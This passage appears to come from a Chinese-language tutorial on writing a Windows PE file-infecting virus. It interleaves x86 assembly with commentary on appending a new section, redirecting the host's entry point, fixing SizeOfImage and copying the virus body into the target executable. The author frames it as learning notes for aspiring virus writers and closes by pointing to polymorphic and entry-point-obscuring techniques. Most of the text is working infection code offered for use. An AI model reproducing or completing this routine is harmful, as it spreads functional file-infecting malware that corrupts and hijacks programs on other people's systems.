| mov esi,eax add esi,DWORD ptr [esi+3ch] 下面兩行代碼能夠確保感染程式在xp下運行時不會彈出個不能載入某某DLL的錯誤對話方塊!!在我不知道的時候,我曾經編寫了一個低水平的病毒,這個病毒能感染很多檔案。我當時認為病毒感染就是這樣了,但是有一天,我發現被病毒感染後的記事本程式無法使用,總是提示“非法win32程式”我將病毒重新寫了一次,把代碼改了一些,但是仍然沒有效果。我非常失望,上網看文章玩。無意中看到老羅的一篇文章,其中有個地方他專門寫注釋感激一位在技術協助了他的人,指出某某處應該清0。看來他也曾經遇到過這個問題,我將他的代碼添加到我的程式中,奇蹟發現了,能正常感染了。我後來查了許多資料也沒找到這個結構是做什麼的,只知道它是IMAGE_DATA_DIRECTORY的第11個成員。 push 0 pop [esi+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory(88)] mov ecx,DWORD ptr [esi+74h] shl ecx,3 xor edx,edx lea edi,[ecx+esi+78h] movzx eax,WORD ptr [esi+6h] imul eax,eax,28h add edi,eax ;定位到最後一個節結尾 ;開始填充新增的節結構體 這段代碼很簡單就是定位到節表後頭即最後一個節的結尾處。你也許可以使用SizeOfHeader加上NumberOfSection*節大小28h但是我仍然比較我現在使用的方法。原因是肯定相容性好的多,我的這個方法是取得IMAGE_DATA_DIRECTORY的個數乘上其大小在加上其他頭剩餘的大小。再加上 節表的個數*節的大小28h。有很多病毒都是用的這種方法。為什嗎?我覺得Windows將來也許會擴充IMAGE_DATA_DIRECTORY成員的個數吧。所以動態取得它比較好點。好了,現在edi已經指向節表末尾了,如今是新添加節的地盤了:(馬上給它填我們的節表內容。 mov DWORD ptr [edi],'1ns' mov DWORD ptr [edi+8],Virus_End-Virus_Start 這裡填入節的名字sn1(這個域有8個位元組喲),並且給Virtual Size(有的地方稱作Physical Size)我的病毒的大小值,這個值不需要對齊。說到對齊,大家要清楚一個概念就是記憶體中的資料節對齊,檔案中的資料檔案對齊。 mov ecx,DWORD ptr [esi+38h] mov eax,DWORD ptr [edi-28h+0ch] add eax,DWORD ptr [edi-28h+8h] mov ecx,DWORD ptr [esi+38h] invoke Align1 mov DWORD ptr [edi+0ch],eax 取得節對齊後,給節的Virtual Address成員即在記憶體中裝入本節時的記憶體位址賦值。方法是取得上一個節的起始地址加上上一節的未對齊的大小即Virtual Size還要經過節對齊,就可以了。 mov ecx,DWORD ptr [esi+3ch] mov eax,Virus_End-Virus_Start invoke Align1 mov DWORD ptr [edi+10h],eax 現在我們該給節的SizeOfRawData給值了。這個域是指節在檔案中的大小,必須要經過檔案對齊,那好,我們取得病毒大小,檔案對齊後就行了 mov eax,DWORD ptr [edi-28h+10h] add eax,DWORD ptr [edi-28h+14h] mov DWORD ptr [edi+14h],eax 還有個節在檔案中位移的值叫PointerToRawData,這個值的計算方法是上一個節的SizeOfRawData加上上一個節的PointerToRawData。為什麼呢?自己動腦殼吧。不動腦殼學會了也沒用。 mov DWORD ptr [edi+24h],0E00000E0h 這個域是最好理解的了,成員名字叫Characteristics中文意思是屬性。有可讀,可讀可寫,可執行,可共用等等,比較重要的幾個屬性就是我列出的幾個,其中可共用是比較難理解的,講講,可共用屬性可以讓該節的資料或代碼拒絕寫時拷貝(Copy On Write),什麼是寫時拷貝呢,比如記事本有10個執行個體在運行,Windows就給同樣的程式分配10個同樣大小的進程空間,微軟可沒那麼傻,他為了能節省記憶體使用量了一種技術叫寫入時拷貝。10個記事本同時運行就將10個記事本的進程空間映射到1個相同的實體記憶體上去,當有一個記事本想往裡面寫入時,資料一變全變,就會影響了其他9個記事本,但是有了寫入時拷貝技術的幹涉,就給那個寫入資料的記事本另外分配塊記憶體,將新分配的實體記憶體影射到記事本寫入的那塊進程空間地址上去,並且將原來的資料拷貝到這塊新的記憶體中去,這樣它再寫入時就是寫的新記憶體了,高興寫啥都不會影響其他的進程。如果還沒懂的去看看“windows核心編程”記憶體管理那部分。再回到我們的感染問題上來,如果你的節有共用屬性,就意味著它拒絕寫入時拷貝技術,就是那個寫資料的記事本,將會影響到其他9個記事本了,如果這是個變數的話,就是10個記事本都可以影響到的全域或稱共用變數了。 mov eax,DWORD ptr [edi+0ch] add eax,Start-Virus_Start 上面兩行代碼是將病毒的代碼進入點計算出來後頭有用,計算方法簡單,是我病毒開始執行地方的標號Start減去病毒開始的地方標號Virus_Start,你可能會有點不理解,這是因為病毒開始的地方不是我病毒開始執行代碼的地方,我病毒開始執行代碼的地方前面有一大段的資料,這些資料也是包含在程式碼片段裡的。就是說我的病毒只有一個節.text。(代碼節叫。Text)- push DWORD ptr [esi+28h] pop DWORD ptr [ebx+oldip] 儲存目標檔案原來的代碼進入點,這是個位移而已,如果真的要跳回原來的代碼進入點還不能只執行AddressOfEntryPointer(原來代碼進入點的指標),還要加個ImageBase成員再跳,否則就等於使你的病毒自殺。為啥?因為AddressOfEntryPointer 是個位移,數字較小,一跳就很有可能會跳到2GB以上的系統進程空間去了,你看微軟饒的了你不。除非你使用SHE。 push eax pop DWORD ptr [esi+28h] 現在將上一步的上一步計算出來的病毒的代碼進入點地址加上了本節的位移地址Virtual Address成員的值,填進去。為啥要連加兩個位移呢?因為你腦殼不會拐彎:( ;計算新的sizeofimage mov eax,Virus_End-Virus_Start add eax,DWORD ptr [esi+50h] mov ecx,DWORD ptr [esi+38h] invoke Align1 mov DWORD ptr [esi+50h],eax 這個SizeOfImage成員搞不好很要命的喲!Windows2000下這個值稍微有點沒對齊好就拜拜。很多人曾經在這個地方吃過虧,FT。這個值的意思是整個可執行體映射後在記憶體中的大小。將你新增的大小加上原來SIzeOfImage經過節對齊就好了。如果你哪天感染了的檔案無法運行,先看看這有問題沒有。 inc WORD ptr [esi+6h] 剛剛增加了一個節,現在將NumberOfSection的值加一 push DWORD ptr [esi+34h] pop DWORD ptr [ebx+oldbase] 取得程式檔案運行時的記憶體基地址。我們的病毒使用了重定位,用不到它,但是我們要跳回原來程式檔案的代碼進入點繼續執行,就要用它,前面已經說的很清楚了。 mov eax,DWORD ptr [edi+10h];取得檔案位移 add eax,DWORD ptr [edi+14h];加上檔案大小,呵呵,檔案位移加大小,又是最後一個節,聰明的你可能已經想到了,這分明就是檔案結尾麼,這個東東留到後頭用。 and DWORD ptr [ebx+IsInject],0;這個值不管,這是我插入其他進程用到的一個標誌變數。 push eax mov DWORD ptr [esi+4ch],'1.ns' mov ecx,Virus_End-Virus_Start mov edi,DWORD ptr [edi+14h] add edi,DWORD ptr [ebx+pMap] lea esi,[ebx+Virus_Start] rep movsb 上面的代碼主要功能是按照我們新增加的節的PointerToRawData指向的位置把病毒代碼寫進去。 push DWORD ptr [ebx+pMap ] call DWORD ptr [ebx+UnmapViewOfFile1] push DWORD ptr [ebx+hMap ] call DWORD ptr [ebx+CloseHandle1] 關閉記憶體對應檔,不懂的去複習Win32Api去吧。 pop eax push FILE_BEGIN push 0 push eax push DWORD ptr [ebx+hFile ] call DWORD ptr [ebx+SetFilePointer1] 將檔案指標從到檔案開頭移動到新的檔案結尾處。 push DWORD ptr [ebx+hFile ] call DWORD ptr [ebx+SetEndOfFile1] 設定檔案指標指向的位置為結束位置,(實際上是在調整檔案大小)為什麼要這麼做呢?因為開始的時候我將檔案對應時將檔案大小改成 原檔案大小+未對齊的病毒體大小。然而這個大小不正確,應該是 原檔案大小+病毒體對齊後的大小,所以我又調用了一次函數重新將檔案末尾改成了 我新加節的 PointerToRawData+SizeOfRawData處,相當於大小等於 原檔案大小+SizeOfRawData SizeOfRawData成員就是病毒體對齊後的大小了,當然你可以在一開始就按照 原檔案大小+病毒體對齊後的大小進行映射,這樣更好,少調用幾個函數。我打算在我下一個病毒的版本進行大大的改造,這樣的垃圾代碼不會再出現了。 @error1: push DWORD ptr [ebx+hFile] call DWORD ptr [ebx+CloseHandle1] 關閉檔案,這時檔案就順利改變了。 push DWORD ptr [ebx+pMap] call DWORD ptr [ebx+UnmapViewOfFile1] push DWORD ptr [ebx+hMap] call DWORD ptr [ebx+CloseHandle1] ret 最後說點點,這篇文章很垃圾,更象我的學習筆記,哈哈。寫這個我承認也加深了我的記憶,但是我希望大家能通過我的這篇垃圾文章,在學習病毒技術的曲折路程中少犯錯誤,因為我已經當了替死鬼了,你們沒有必要再死一次了。新手在寫病毒這樣的程式犯錯誤是很可怕的,也許是致命的,因為幾乎找不到人講,而且這裡面的錯誤往往都不是程式的語法錯誤那麼簡單,需要你對全盤的分析,系統的全面瞭解,才能快速的定位錯誤。我犯了許多次錯誤,有很多錯誤是在通宵過程中犯的“低級”錯誤。我浪費了很多調試時間,FT。另外文章沒有講那麼多高明的技術,因為我也在探索中。大家學會了這篇文章中的內容,可以看看 進入點模糊技術,多態感染引擎技術,虛擬機器技術。簡單實用的有 怎樣感染檔案而不改變檔案大小的技術,PEB和TEB結構體,代碼插入技術。越往後學,對你的彙編功底要求越高,大家在提高技術的同時也應該學點彙編方面的知識,比如 保護模式下編程,一些指令集 如MMX。上面介紹的知識,我只瞭解一點點,我也是肉雞一個。往後還有很多書需要看,88。 |